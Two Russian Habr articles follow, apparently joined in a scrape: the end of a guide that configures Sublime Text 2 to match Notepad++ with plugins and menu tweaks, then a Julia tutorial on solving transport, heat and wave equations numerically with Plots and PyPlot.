Но есть проблема: словарь не предлагает вариантов для замены (в отличие от Notepad++). Кто сможет — предложите варианты решения. Так что получается, что Notepad++ предлагает варианты исправления ошибок, но их не подчеркивает, а Sublime Text 2 подчеркивает, но варианты исправления не дает.
#### Открытие новых вкладок
---
Sublime Text 2 всегда открывает документ в новой вкладке, как следующую после текущей. Данная его особенность просто бесит после нормальной реализации в Notepad++: файл открывается в новой вкладке в самом конце вкладок. Хотя думаю, что приверженцев идеологии Sublime тоже найдется не мало. Но если не нравится, то вот способ.
Скачиваем плагин [https://github.com/stylishmedia/SublimeText-Tabright](https://github.com/stylishmedia/SublimeText-Tabright "https://github.com/stylishmedia/SublimeText-Tabright").
Файл **Tabright.py** копируем в папку плагинов **%appdata%/Sublime Text 2/Packages**. Теперь файлы будут открываться в нужной вкладке.
Но есть серьезная проблема: при закрытии вкладок до последней вкладки Sublime вылетает. Так что пользоваться плагином можно с большим трудом. В общем, пришлось удалить плагин.
Говорят также, что в последней dev версии плагин не работает. Не знаю — не проверял.
#### История буфера обмена
---
В Notepad++ для этого есть функция Clipboard History: **Правка** → **Панель истории файлов**:
Для Sublime Text 2 нужно установить плагин с аналогичным названием **Clipboard History**. Качаем его с [https://github.com/kemayo/sublime-text-2-clipboard-history](https://github.com/kemayo/sublime-text-2-clipboard-history "https://github.com/kemayo/sublime-text-2-clipboard-history").
Копируем папку с распакованным плагином в папку с плагинами **%appdata%/Sublime Text 2/Packages**. Теперь при нажатии **Ctrl** + **Alt** + **V** откроется окно буфера обмена:
В отличие от Notepad++ есть поиск по буферу обмена. Но есть и серьезный недостаток: в историю буфера обмена копируется только текст, который копировался внутри Sublime. В Notepad++ в истории буфера сохраняется текст из всех программ, что часто бывает очень удобным. И панель в Sublime не может быть постоянной как в Notepad++, что также не гуд, когда нужно постоянно вставлять некоторые варианты небольших кусков кода. Или работа со снипетами может решить эту проблему?
#### Помеченные строки (Bookmarks)
---
В Notepad++ строки помечаются кликанием слева около строки:
В Sublime Text 2 для этого приходится использовать комбинацию клавиш **Ctrl** + **F2** (по ней же и снимается). А хотелось бы всё-таки делать это визуально мышью. И сами отметки слабо отмечаются глазами (а они же отметки!).
Чтобы немного облегчить жизнь в файл **%appdata%/Sublime Text 2/Packages/Default/Context.sublime-menu** добавляем строчку:
```
{ "command": "toggle_bookmark", "caption": "Отметить строку" },
```
И в контекстном меню появится соответствующая команда.
Переход же от отметки к отметке производится аналогично, как и в Notepad++, через клавишу **F2** (**Shift** + **F2** в обратную сторону).
#### Поиск и замена
---
В Sublime имеется «умный» поиск по **Ctrl** + **P**, но хоть он удобен, но всё равно не выполняет полные функции поиска (или выполняет?) — задачи у «умного» поиска несколько другие. Рассмотрим решение стандартных задач поиска и замены в двух редакторах (мне вначале в Sublime всё не было интуитивно понятно).
В обоих редакторах панель поиска, как и положено во всех программах, вызывается через **Ctrl** + **F**.
Маленькое отступление. А как закрыть-то панель поиска у Sublime? Обратно по **Ctrl** + **F** не закрывается, крестика нет. Оказалось, что **Esc** выполняет эту функцию. С одной стороны очень понятно и просто, с другой — сообразить без гугла у меня не получилось.
На рисунке показаны соответствия команд панели поиска.
Как видим, полного соответствия нет. Что и не странно — разные программы, разные программисты, разные хотелки. Но мы хотим получить аналоги того, с чем мы привыкли работать.
**Функция: «Найти всё во всех открытых документах».**
В Notepad++ эта замечательная функция выглядит так:
В Sublime нажимаете **Ctrl** + **Shift** + **F**. Вам выйдет следующее окошко:
В поле **Find** пишите требуемый текст и нажимаете **Find**. По умолчанию поиск производится по всем отрытым папкам и файлам, но в разделе **Where** вы можете указать некоторые фильтры. В результате в новой вкладке откроются результаты поиска:
При двойном щелчке по выделенным фрагментам Вы переместитесь на нужный Вам файл и место. Но постоянно переключаться между вкладкой результатов поиска и вкладками документов неудобно. В Notepad++ же панель результатов поиска расположена внизу. Нажимаем **Shift** + **Alt** + **8** (разбиваем экран на верхнюю и нижнюю половину) и перетаскиваем туда нашу вкладку с результатами поиска. Панель вкладок только слишком большая для второго окна. Уменьшить бы ее.
Единственно, что если вы работает и так с разделением окна на две или более частей, то будет не очень удобно.
Также в этой панели реализована **функция замены по всем открытым файлам**.
**Функция: «Заменить».**
При нажатии на **Ctrl** + **H** — откроется панель замены в текущем документе:
Тут всё понятно, но маленькая ремарка. Уже три комбинации горячих клавиш на три разные панели поиска и замены! А если добавить и «умный» поиск, то и все четыре! В Notepad же всё реализовано в одной панели — ничего искать и запоминать не нужно.
**Функция: «Найти всё в текущем документе».**
В Notepad++ эта замечательная функция выглядит так:
В Sublime в панели обычного поиска есть кнопка **Find All**, но он только выделяет все найденные результаты. Поэтому, чтобы хоть как-то повторить реализацию в Notepad++, приходится использовать функцию поиска по всем открытым файлам, и в разделе **Where** вводить имя файла, в котором производится поиск. А если название длинное? Неудобно. Также, если открыто несколько файлов с одинаковым именем (по разным папкам раскиданы), то поиск будет проведен по всем таким одноименным файлам.
**Функция: «Подсчитать».**
В Notepad++ всё просто:
Почти в финальной редакции этой статьи было написано, что не смог найти решение в Sublime. Оказывается, всё банально просто:
**Функция: «Найти в файлах».**
В Notepad++ есть соответствующая вкладка:
В Sublime при расширенном поиске **Ctrl** + **Shift** + **F** при нажатии кнопки **...** есть возможность добавление папки.
И еще одна проблема, общая для всех поисков в Sublime. Я не нашел истории поисковых запросов. В Notepad++ есть выпадающее меню, а тут ничего такого.
#### Подсвечивание скобок
---
Notepad++ при попадании курсора на скобку подсвечивает их ярким цветом:
В Sublime же есть лишь небольшое малозаметное подчеркивание:
Можно исправить ситуацию плагином **BracketHighlighter**. Установим его через Package Control. Идем **Preferences** → **Package Control**, начинаем набирать **Install Packages**:
И в появившемся окне вводим имя плагина и по нему щелкаем:
Плагин установился. Перезапускаем Sublime и видим, что стало получше:
Кто-нибудь знает, как сделать при работе плагина BracketHighlighter с белым фоном, но красным цветом текста при выделении скобок? И как подсвечивать не только скобки, но и теги?
#### Копирование имени файла
---
В Notepad++ я постоянно пользуюсь удобной функцией копирования имени файла, пути к нему и полное имя файла по клику правой кнопкой по вкладке файла:
А что предлагает Sublime? У него есть только одна функция copy\_path не в контекстном меню вкладки, а в контекстном меню самого тела файла. Что не есть удобно. Итак, открываем файл **%appdata%/Sublime Text 2/Packages/Default/copy\_path.py** и меняем его содержимое на следующее (не бойтесь, основная функция будет нетронута):
```
import sublime, sublime_plugin
import os.path
class CopyPathCommand(sublime_plugin.TextCommand):
def run(self, edit):
if len(self.view.file_name()) > 0:
sublime.set_clipboard(self.view.file_name())
sublime.status_message("Copied full file path")
def is_enabled(self):
return self.view.file_name() and len(self.view.file_name()) > 0
class CopyFileNameCommand(sublime_plugin.TextCommand):
def run(self, edit):
full_name = self.view.file_name()
folder_name, file_name = os.path.split(full_name)
if len(self.view.file_name()) > 0:
sublime.set_clipboard(file_name)
sublime.status_message("Copied file name")
class CopyPathOfFileCommand(sublime_plugin.TextCommand):
def run(self, edit):
full_name = self.view.file_name()
folder_name, file_name = os.path.split(full_name)
if len(self.view.file_name()) > 0:
sublime.set_clipboard(folder_name)
sublime.status_message("Copied path of file")
```
Тем самым мы ввели две команды copy\_file\_name и copy\_path\_of\_file. Открываем файл **%appdata%/Sublime Text 2/Packages/Default/Tab Context.sublime-menu** и добавляем строчки (не забывайте о правильной расстановке запятых), сохраняем:
```
{ "command": "copy_path", "caption": "Полный путь к файлу" },
{ "command": "copy_file_name", "caption": "Имя файла" },
{ "command": "copy_path_of_file", "caption": "Путь к директории файла" }
```
Теперь при нажатии на правую кнопку по вкладке у нас в меню будут три наших функции, которые в буфер обмена копируют нужные нам тексты:
#### Печать
---
Notepad++ умеет печатать (причем с подсветкой кода). И это даже не его преимущество — это свойство почти всех нормальных программ. И было удивительно не увидеть этой функции у Sublime. Что делать? По сути адекватного решения пока нет. Можно скопировать код в другой редактор и распечатать, но тогда теряется вся прелесть, и исчезает вся подсветка кода. В общем нехорошо. Можно воспользоваться одним костылем в виде одного плагина. Итак, открываем панель команд **CTRL** + **Shift** + **P**, пишем **Install package**, пишем название плагина **Print to HTML** и устанавливаем его:
В итоге в меню File появляются два пункта:
При выборе первого у вас откроется в браузере по умолчанию Web страница с подсвеченным кодом и номерами строк и диалоговым меню печати. По сути число кликов мыши не увеличивается, так что костыль удобен.
При выборе второго пункта меню откроется текст этой самой html страницы. Может кому и пригодится.
#### Сравнение файлов
---
Часто требуется сравнить два файла. Например, найти измененную строчку в двух почти одинаковых файлах. В Notepad++ за это отвечает плагин Compare:
В Sublime для этого нужен плагин **FileDiffs**. Итак, открываем панель команд **CTRL** + **Shift** + **P**, пишем **Install package**, пишем название плагина **FileDiffs** и устанавливаем его.
Открываем два наших файла в двух подряд вкладках. Жмем правой кнопкой по первой вкладке:
И там выбираем **Diff with Tab**. В результате чего нам показывают результат работы сравнения:
Знаками + и — показываются строки сравниваемых файлов. Конечно, с точки зрения юзабилити такой подход гораздо проигрывает более стандартному варианту из Notepad++, но это хоть что-то.
А ниже несколько проблем, решение которых я вообще не нашел. Заменить даже не чем, что сильно меня печалит.
#### Выделение определенного текста
---
В Notepad++ можно выделить конкретный текст (как будто маркером провели):
Как быть в Sublime? Я пока не нашел решения.
#### Синхронизация вертикальной прокрутки
---
Еще одна важная для меня функция, которую не нашел в Sublime. Когда имеется два файла одного типа часто требуется просмотреть их синхронно. В Notepad++ все реализовано:
А что с Sublime? Кто-нибудь знает решение?
#### Фолдинг
---
Это одна из главных претензий к Sublime Text 2. Я даже в отдельный блок выделил, а не в конечный список нерешенных проблем выделил. Он сворачивает блоки кода только, когда они правильно оформлены отступами. Но не всегда же это так! К тому же разные программисты по-разному оформляют табуляцию. В общем очень некрасиво получается, когда половина div или функций не сворачивается. В Notepad++ всё сворачивается вне зависимости от отступов. Решений я пока не нашел.
#### Соответствие команд
---
Ниже приводится соответствие некоторых команд, которыми часто пользуюсь, в Notepad++ и Sublime Text 2, если они вызываются разными методами:
**Дублирование участка кода.**
* Notepad++: **CTRL** + **D**.
* Sublime Text 2: **Ctrl** + **Shift** + **D**.
**Перекодирование файла.**
* Notepad++: **Кодировки** → **Преобразовать в ...**.
* Sublime Text 2: **File** → **Save with Encoding** → **...**.
**Открыть файл в другой кодировке.**
* Notepad++: **Кодировки** → **Кодировать в ...**.
* Sublime Text 2: **File** → **Reopen with Encoding** → **...**.
**Комментирование кода.**
* Notepad++ I вариант: **Клик правой кнопки мыши** → **Вкл./Выкл. Комментарий строки** (раскомментировать аналогично).
* Notepad++ II вариант: **Клик правой кнопки мыши** → **Закомментировать выделенное** (раскомментировать автоматически нельзя).
* Sublime Text 2 I вариант: **Ctrl** → **/** (раскомментировать аналогично).
* Sublime Text 2 II вариант: В файл **%appdata%/Sublime Text 2/Packages/Default/Context.sublime-menu** добавляем строчку:
```
{ "command": "toggle_comment", "caption": "Закомментировать" },
```
**Поменять регистр букв на большие буквы.**
* Notepad++: **Клик правой кнопки мыши** → **ПРОПИСНЫЕ**.
* Sublime Text 2 I вариант: **Ctrl** → **K**, а потом **Ctrl** → **U** (я не понимаю, зачем это было делать на два клавиатурных сочетания).
* Sublime Text 2 II вариант: В файл **%appdata%/Sublime Text 2/Packages/Default/Context.sublime-menu** добавляем строчку:
```
{ "command": "upper_case", "caption": "ПРОПИСНЫМИ" },
```
**Поменять регистр букв на маленькие буквы.**
* Notepad++: **Клик правой кнопки мыши** → **строчные**.
* Sublime Text 2 I вариант: **Ctrl** → **K**, а потом **Ctrl** → **l**.
* Sublime Text 2 II вариант: В файл **%appdata%/Sublime Text 2/Packages/Default/Context.sublime-menu** добавляем строчку:
```
{ "command": "lower_case", "caption": "строчными" },
```
**Разделить окно на две части.**
* Notepad++: **Вид** → **Операции с документом** → **Переместить в другое окно**.
* Sublime Text 2 I вариант: **View** → **Layout** → **Colums: 2**.
* Sublime Text 2 II вариант: В файл **%appdata%/Sublime Text 2/Packages/Default/Tab Context.sublime-menu** добавляем строчку (не забывайте о правильной расстановке запятых):
```
{ "command": "set_layout","args":{"cols": [0.0, 0.5, 1.0],"rows": [0.0, 1.0],"cells": [[0, 0, 1, 1], [1, 0, 2, 1]]}, "caption": "Создать второе окно" }
```
**Выбор подсветки синтаксиса.**
* Notepad++: **Ситаксис** → **...**.
* Sublime Text 2: **View** → **Syntax** → **...**.
**Перейти к соответствующей скобке (закрывающейся или открывающейся).**
* Notepad++: **Ctrl** + **B**.
* Sublime Text 2 I вариант: **Goto** → **Jump to Matching Bracket**.
Sublime Text 2 II вариант: **Ctrl** + **M**.
#### Некоторые числовые опыты
---
Провел пару опытов (именно опытов, а не экспериментов). Это единичные проверки, без какой-либо нормальной выборки, так что делать из них какие-то выводы нельзя, но увидеть для себя тенденцию можно. Иногда приходится работать либо с очень большими текстовыми файлами, либо с очень большим количеством файлов, поэтому и посмотрим, как поведут себя программы.
В одном опыте я открывал текстовой файл размером 177 Мб (в обеих программах был включен перенос, а потом отключен). Notepad++ открывал его 3 секунды, а Sublime Text 2 за 90 секунд. При этом Notepad++ даже не собирался показывать признаки медленной работы, а вот Sublime начал заметно притормаживать. После этого решил провести поиск фрагмента, который встречался в тексте где-то 42000 раз. Notepad++ потратил 10 секунд, а Sublime — 22, и при этом не отвечал ни на что.
В другом опыте я решил открыть 1136 файлов общим объемом 20Мб. Sublime открыл за 50 секунд, а Notepad++ за 45 секунд. Так что здесь оба показали одинаково себя. После нужно было найти в открытых файлах количество слова «table». Notepad++ справился за 3 секунды, а вот Sublime справился почти мгновенно? чем очень приятно удивил.
Выводы делайте сами по этим опытам.
#### Нерешенные проблемы и вопросы
---
Некоторые вопросы благополучно решись в процессе написания статьи. Здесь же находится тот список, с коим справиться не удалось.
* Есть более полный англо-русский словарь в виде .dic и .aff файлов?
* При проверке орфографии не предлагаются варианты исправления русских слов.
* Нет возможности добавлять в словарь новые слова.
* ~~Работает ли плагин Tabright в последней dev версии Sublime Text 2?~~ **Upd. Нет.** ([singlewolf](http://habrahabr.ru/users/singlewolf/))
* При закрытии вкладки до последней при использовании плагина Tabright программа вылетает.
* Как по нормальному открывать вкладки, чтобы при открытии файла вкладка появлялась в конце вкладок?
* Плагин Clipboard History не сохраняет буфер обмена других программ.
* Панель Clipboard History нельзя зафиксировать на постоянной основе.
* Можно ли ставить пометки Bookmarks без горячих клавиш?
* ~~Можно ли ставить пометки Bookmarks сделать более заметными?~~ **Upd. Отредактируйте Sublime Text 2\Packages\Theme — Default\bookmark.png** ([singlewolf](http://habrahabr.ru/users/singlewolf/))
* Нельзя все поиски свести в одну панель.
* Как найти текст и вывести список найденных мест не во всех файлах, а только в одном (без ввода имени файла, без одноименных файлов)?
* ~~Нельзя результаты поиска по всем файлам выводить не в отдельной вкладке.~~ **Upd. отщелкните кнопку «use buffer»** ([sebres](http://habrahabr.ru/users/sebres/))
* ~~Нет истории поисковых запросов в панелях поисков и замен.~~ **Upd. Просто в поле ввода запроса нажимайте клавишу Вверх или Вниз.** ([akzhan](http://habrahabr.ru/users/akzhan/))
* Сворачивает код (фолдинг) только с правильными отступами (одна из главных проблем).
* Кто-нибудь знает, как сделать при работе этого плагина BracketHighlighter с белым фоном, но красным цветом текста при выделении скобок?
* ~~И как подсвечивать не только скобки, но и теги?~~ **Upd. В файле \Sublime Text 2\Packages\BracketHighlighter\BracketHighlighter.sublime-settings нужно, чтобы строчка была «tag\_enable»: true,**
* Нет функции печати в самой программе (только через использование браузера).
* Как можно выделять конкретный текст как маркером на бумаге?
* Есть нормальный способ сравнения файлов, как это обычно делают в соответствующих программах?
* ~~Как вертикальной прокруткой синхронизировать два файла?~~ **Upd. [github.com/terminalbell/SublimeSynchroScroll](http://github.com/terminalbell/SublimeSynchroScroll)** ([Helsus](http://habrahabr.ru/users/helsus/))
Желательно все настройки Sublime делать в настройках для пользователя, чтобы потом можно было быстро перенести
Скорее всего, есть еще множество неучтенных взаимных моментов, но пока закончу.
На данный момент полный переход на Sublime Text 2 для меня довольно болезненный, так как я не нашел всего того, чем привык пользоваться. Хотя я уже некоторые задачи выполняю с его помощью, где он показывает себя с лучшей стороны.
Пользователи Sublime, подскажите, пожалуйста, способы решения вышеперечисленных проблем и напишите список тех возможностей, которые есть у Sublime, но нет у Notepad++.
P.S. И выскажу немного «кощунственную» мысль (возможно, что она не верна). Sublime Text 2 набирает обороты и становится популярным, потому что вариант «из коробки» малопригоден для работы (как минимум надо настроить кодировку для русского языка, изучить горячие клавиши). И этот факт заставляет людей настраивать редактор, а, следовательно, изучать его возможности. Notepad++ «из коробки» гораздо более работоспособный, и пользователь может вообще ничего не изменять, не настраивать и прекрасно работать. У него нет необходимости лезть в дебри и изучать возможные дополнительные настройки (про разницу во времени создания программ я знаю).
P.P.S. Пара моментов об использовании этих программ. Каждый использует эти редакторы по-разному, поэтому важно вначале сказать о некоторых особых моментах. Я не любитель горячих клавиш. Запоминать десятки комбинаций в десятках программ для меня тяжело. Особенно когда голова забита проектом, а нужно вспоминать, а какие клавиши тут надо нажать. Использую редакторы не только для написания кода. Не являюсь чистым кодировщиком, поэтому мыслю над проектом много больше, чем кодирую. Поэтому ускорители написания кода мне не нужны. И у меня мало повторяющегося кода.
P.P.P.S. Некоторые возможности Sublime Text 2 считаются фишками данного редактора. Однако многие из них находятся и в Notepad++: множественное выделение, вертикальное выделение, миникарта (правда она реализована менее удобно), работа с проектами и др.
**Upd**. Спасибо пользователям [jekakmail](http://habrahabr.ru/users/jekakmail/), [leventov](http://habrahabr.ru/users/leventov/), [WAYS](http://habrahabr.ru/users/ways/) за найденные ошибки.
**Upd**. Ввиду того, что в комментариях неоднократно спрашивают один вопрос: «Зачем ты это делал? Выбери просто один инструмент и пользуйся», отвечаю на него тут.
Я не превращал один продукт в другой. Что было сделано?
1. Поменял для привычки внешний вид. Кто не хочет — пусть не делает.
2. Нашел соответствие функциям в одном и другом редакторе. Для чего? Решил человек перейти на Sublime (ну, жутко ему понравились сниппеты или внешний вид), но никак не может найти привычной функции для перехода к закрывающей кавычке или поиск по открытым файлам. Абсолютно логичное желание.
3. Добавлены некоторые плагины, дополняющие недостающий функционал.
Всё!
Почему я не выберу один инструмент? А почему тогда в Windows, разных дистрибутивах Linux, Mac — почему они постоянно копируют в том или ином виде новшества и идеи?
Меня не полностью устраивает Notepad++, поэтому я в поисках альтернатив. Но я хочу в новом каком-либо инструменте всё то, к чему я привык в Notepad++. С точки зрения оптимизации я хочу найти инструмент, который будет по всем критериям не хуже, чем Notepad++, а по некоторым лучше. | https://habr.com/ru/post/166971/ | null | ru | null |
# Julia и уравнения в частных производных
На примере типичнейших физических моделей закрепим навыки работы с функциями и познакомимся с быстрым, удобным и красивым визуализатором PyPlot, предоставляющим всю мощь питоновской Matplotlib. Будет много картинок (упрятанных под спойлеры)
Удостоверяемся, что под капотом всё чистое и свежее:
**Под капотом**
```
]status
Status `C:\Users\Игорь\.julia\environments\v1.0\Project.toml`
[537997a7] AbstractPlotting v0.9.0
[ad839575] Blink v0.8.1
[159f3aea] Cairo v0.5.6
[5ae59095] Colors v0.9.5
[8f4d0f93] Conda v1.1.1
[0c46a032] DifferentialEquations v5.3.1
[a1bb12fb] Electron v0.3.0
[5789e2e9] FileIO v1.0.2
[5752ebe1] GMT v0.5.0
[28b8d3ca] GR v0.35.0
[c91e804a] Gadfly v1.0.0+ #master (https://github.com/GiovineItalia/Gadfly.jl.git)
[4c0ca9eb] Gtk v0.16.4
[a1b4810d] Hexagons v0.2.0
[7073ff75] IJulia v1.13.0+ [`C:\Users\Игорь\.julia\dev\IJulia`]
[6218d12a] ImageMagick v0.7.1
[c601a237] Interact v0.9.0
[b964fa9f] LaTeXStrings v1.0.3
[ee78f7c6] Makie v0.9.0+ #master (https://github.com/JuliaPlots/Makie.jl.git)
[7269a6da] MeshIO v0.3.1
[47be7bcc] ORCA v0.2.0
[58dd65bb] Plotly v0.2.0
[f0f68f2c] PlotlyJS v0.12.0+ #master (https://github.com/sglyon/PlotlyJS.jl.git)
[91a5bcdd] Plots v0.21.0
[438e738f] PyCall v1.18.5
[d330b81b] PyPlot v2.6.3
[c4c386cf] Rsvg v0.2.2
[60ddc479] StatPlots v0.8.1
[b8865327] UnicodePlots v0.3.1
[0f1e0344] WebIO v0.4.2
[c2297ded] ZMQ v1.0.0
```
**Иначе докачиваем всё что нужно на сегодня**
```
julia>]
pkg> add PyCall
pkg> add LaTeXStrings
pkg> add PyPlot
pkg> build PyPlot # если не произошел автоматический build
# в случае нытья - просто качайте всё что он попросит, питон довольно требовательный
pkg> add Conda # это для использования Jupyter - очень удобная штука
pkg> add IJulia # вызывается как на заглавной картинке
pkg> build IJulia # если не произошел автоматический build
```
Теперь к задачам!
Уравнение переноса
------------------
В физике под термином перенос понимают необратимые процессы, в результате которых в физической системе происходит пространственное перемещение (перенос) массы, импульса, энергии, заряда или какой-либо другой физической величины.
Линейное одномерное уравнение переноса (или уравнение адвекции) – простейшее дифференциальное уравнение в частных производных – записывается в виде
Для численного решения уравнения переноса можно использовать явную разностную схему:
где  — значение сеточной функции на верхнем временном слое. Эта схема устойчива при числе Куранта 
### Нелинейный перенос
Линейный источник (перенос с поглощением): . Воспользуемся явной разностной схемой:
```
using Plots
pyplot()
a = 0.2
b = 0.01
ust = x -> x^2 * exp( -(x-a)^2/b ) # начальное условие
bord = t -> 0. # граничное
# можно задавать значения по-умолчанию
function transferequi(;C0 = 1., C1 = 0., B = 0., Nx = 50, Nt = 50, tlmt = 0.01)
dx = 1/Nx
dt = tlmt/Nt
b0 = 0.5B*dt
c0 = C0*dt/dx
c1 = C1*dt/dx
print("Kurant: $c0 $c1")
x = [i for i in range(0, length = Nx, step = dx)]# один из способов задать массив с помощью цикла
t = [i for i in range(0, length = Nt, step = dt)] # ранжированая переменная - не массив
U = zeros(Nx, Nt)
U[:,1] = ust.(x)
U[1,:] = bord.(t)
for j = 1:Nt-1, i = 2:Nx
U[i, j+1] = ( 1-b0-c0-c1*U[i,j] )*U[i,j] + ( c0-b0+c1*U[i,j] )*U[i-1,j]
end
t, x, U
end
t, X, Ans0 = transferequi( C0 = 4., C1 = 1., B = 1.5, tlmt = 0.2 )
plot(X, Ans0[:,1], lab = "t1")
plot!(X, Ans0[:,10], lab = "t10")
p = plot!(X, Ans0[:,40], lab = "t40")
plot( p, heatmap(t, X, Ans0) ) # объединим одним в одно изображение
```
**Результат**
Усилим поглощение :
```
t, X, Ans0 = transferequi( C0 = 2., C1 = 1., B = 3.5, tlmt = 0.2 )
plot(X, Ans0[:,1])
plot!(X, Ans0[:,10])
p = plot!(X, Ans0[:,40])
plot( p, heatmap(t, X, Ans0) )
```
**Результат**
```
t, X, Ans0 = transferequi( C0 = 1., C1 = 15., B = 0.1, Nx = 100, Nt = 100, tlmt = 0.4 )
plot(X, Ans0[:,1])
plot!(X, Ans0[:,20])
plot!(X, Ans0[:,90])
```
**Почти опрокинулась**
`heatmap(t, X, Ans0)`
Уравнение теплопроводности
--------------------------
Дифференциальное уравнение теплопроводности (или уравнение диффузии тепла) записывается следующим образом:
Это уравнение *параболического* типа, содержащее первую производную по времени t и вторую по пространственной координате x. Оно описывает динамику температуры например, остывающего или нагреваемого металлического стержня (функция T описывает профиль температуры по координате х вдоль стержня). Коэффициент D называется коэффициентом теплопроводности (диффузии). Он может быть как постоянным, так и зависеть, как явно от координат, так и от самой искомой функции D(t, x,T).
Рассмотрим линейное уравнение(Коэффициент диффузии и источники тепла не зависят от температуры). Разностная аппроксимация дифференциального уравнения с помощью явной и неявной схемы Эйлера соответственно:
```
δ(x) = x==0 ? 0.5 : x>0 ? 1 : 0 # дельта-функция с использованием тернарного оператора
startcond = x-> δ(x-0.45) - δ(x-0.55) # начальное условие
bordrcond = x-> 0. # условие на границе
D(u) = 1 # коэффициент диффузии
Φ(u) = 0 # функция описывающая источники
# чтоб ввести греческую букву вводим LaTex команду и жмем Tab
# \delta press Tab -> δ
function linexplicit(Nx = 50, Nt = 40; tlmt = 0.01)
dx = 1/Nx
dt = tlmt/Nt
k = dt/(dx*dx)
print("Kurant: $k dx = $dx dt = $dt k<0.5? $(k<0.5)")
x = [i for i in range(0, length = Nx, step = dx)] # один из способов задать массив с помощью цикла
t = [i for i in range(0, length = Nt, step = dt)] # ранжированая переменная - не массив
U = zeros(Nx, Nt)
U[: ,1] = startcond.(x)
U[1 ,:] = U[Nt,:] = bordrcond.(t)
for j = 1:Nt-1, i = 2:Nx-1
U[i, j+1] = U[i,j]*(1-2k*D( U[i,j] )) + k*U[i-1,j]*D( U[i-1,j] ) + k*U[i+1,j]*D( U[i+1,j] ) + dt*Φ(U[i,j])
end
t, x, U
end
t, X, Ans2 = linexplicit( tlmt = 0.005 )
plot(X, Ans2[:,1], lab = "t1")
plot!(X, Ans2[:,10], lab = "t10")
p = plot!(X, Ans2[:,40], lab = "t40", title = "Explicit scheme")
plot( p, heatmap(t, X, Ans2) )
```
**Результат**
**Воспользуемся неявной схемой и методом прогонки**
```
function nonexplicit(Nx = 50, Nt = 40; tlmt = 0.01)
dx = 1/Nx
dt = tlmt/Nt
k = dt/(dx*dx)
print("Kurant: $k dx = $dx dt = $dt k<0.5? $(k<0.5)\n")
x = [i for i in range(0, length = Nx, step = dx)]
t = [i for i in range(0, length = Nt, step = dt)]
U = zeros(Nx, Nt)
η = zeros(Nx+1)
ξ = zeros(Nx)
U[: ,1] = startcond.(x)
U[1 ,:] = bordrcond.(t)
U[Nt,:] = bordrcond.(t)
for j = 1:Nt-1
b = -1 - 2k*D( U[1,j] )
c = -k*D( U[2,j] )
d = U[1,j] + dt*Φ(U[1,j])
ξ[2] = c/b
η[2] = -d/b
for i = 2:Nx-1
a = -k*D( U[i-1,j] )
b = -2k*D( U[i,j] ) - 1
c = -k*D( U[i+1,j] )
d = U[i,j] + dt*Φ(U[i,j])
ξ[i+1] = c / (b-a*ξ[i])
η[i+1] = (a*η[i]-d) / (b-a*ξ[i])
end
U[Nx,j+1] = η[Nx]
for i = Nx:-1:2
U[i-1,j+1] = ξ[i]*U[i,j+1] + η[i]
end
end
t, x, U
end
plot(X, Ans2[:,1], lab = "ex_t1")
plot!(X, Ans2[:,10], lab = "ex_t10")
plot!(X, Ans2[:,40], lab = "ex_t40")
plot!(X, Ans3[:,1], lab = "non_t1")
plot!(X, Ans3[:,10], lab = "non_t10")
plot!(X, Ans3[:,40], lab = "non_t40", title = "Comparison schemes")
```
**Сравнение схем**
### Нелинейное уравнение теплопроводности
Намного более интересные решения можно получить для нелинейного уравнения теплопроводности, например, с нелинейным источником тепла . Если задать его в таком виде, то получится решение в форме тепловых фронтов, распространяющихся в обе стороны от зоны первичного нагрева
```
Φ(u) = 1e3*(u-u^3)
t, X, Ans4 = linexplicit( tlmt = 0.005 )
plot(X, Ans4[:,1], lab = "ex_t1")
plot!(X, Ans4[:,10], lab = "ex_t10")
plot!(X, Ans4[:,40], lab = "ex_t40", title = "Thermal front")
```
**Тепловой фронт**
Еще более неожиданные решения возможны при нелинейности также и коэффициента диффузии. Например, если взять , a , то можно наблюдать эффект горения среды, локализованный в области ее первичного нагрева (S-режим горения "с обострением").
Заодно проверим, как наша неявная схема работает с нелинейностью и источников и коэффициента диффузии
```
D(u) = u*u
Φ(u) = 1e3*abs(u)^(3.5)
t, X, Ans5 = linexplicit( tlmt = 0.0005 )
t, X, Ans6 = nonexplicit( tlmt = 0.0005 )
plot(X, Ans5[:,1], lab = "ex_t1")
plot!(X, Ans5[:,10], lab = "ex_t10")
p1 = plot!(X, Ans5[:,40], lab = "ex_t40", title = "Burning with aggravation")
p2 = heatmap(abs.(Ans6-Ans5), title = "Difference")
# построим разницу между результатами схем
plot(p1, p2)
```
**S-режим**
Волновое уравнение
------------------
Волновое уравнение гиперболического типа
описывает одномерные линейные волны без дисперсии. Например, колебания струны, звук в жидкости (газе) или электромагнитные волны в вакууме (в последнем случае уравнение должно быть записано в векторном виде).
Простейшей разностной схемой, аппроксимирующей данное уравнение, является явная пятиточечная схема
Эта схема, получившая название «крест», имеет второй порядок точности по времени и по пространственной координате и является трехслойной по времени.
```
# функция задающая начальное условие
ψ = x -> x^2 * exp( -(x-0.5)^2/0.01 )
# поведение на границах
ϕ(x) = 0
c = x -> 1
# решение одномерного волнового уравнения
function pdesolver(N = 100, K = 100, L = 2pi, T = 10, a = 0.1 )
dx = L/N;
dt = T/K;
gam(x) = c(x)*c(x)*a*a*dt*dt/dx/dx;
print("Kurant-Fridrihs-Levi: $(dt*a/dx) dx = $dx dt = $dt")
u = zeros(N,K);
x = [i for i in range(0, length = N, step = dx)]
# инициализируем первые два временных слоя
u[:,1] = ψ.(x);
u[:,2] = u[:,1] + dt*ψ.(x);
# задаём поведение на границах
fill!( u[1,:], 0);
fill!( u[N,:], ϕ(L) );
for t = 2:K-1, i = 2:N-1
u[i,t+1] = -u[i,t-1] + gam( x[i] )* (u[i-1,t] + u[i+1,t]) + (2-2*gam( x[i] ) )*u[i,t];
end
x, u
end
N = 50; # количество шагов по координате
K = 40; # и по времени
a = 0.1; # скорость распространения волны
L = 1; # длина образца
T = 1; # длительность эксперимента
t = [i for i in range(0, length = K, stop = T)]
X, U = pdesolver(N, K, L, T, a) # вызываем расчетную функцию
plot(X, U[:,1])
plot!(X, U[:,40])
```
**Результат**
Чтобы построить поверхность, воспользуемся PyPlot'ом не как окружением Plots, а непосредственно:
**График-поверхность**
```
using PyPlot
surf(t, X, U)
```
И на десерт распространение волны со скоростью зависящей от координаты:
```
ψ = x -> x>1/3 ? 0 : sin(3pi*x)^2
c = x -> x>0.5 ? 0.5 : 1
X, U = pdesolver(400, 400, 8, 1.5, 1)
plot(X, U[:,1])
plot!(X, U[:,40])
plot!(X, U[:,90])
plot!(X, U[:,200], xaxis=("Распространение волнового фронта", (0, 1.5), 0:0.5:2) )
```
**Результат**
```
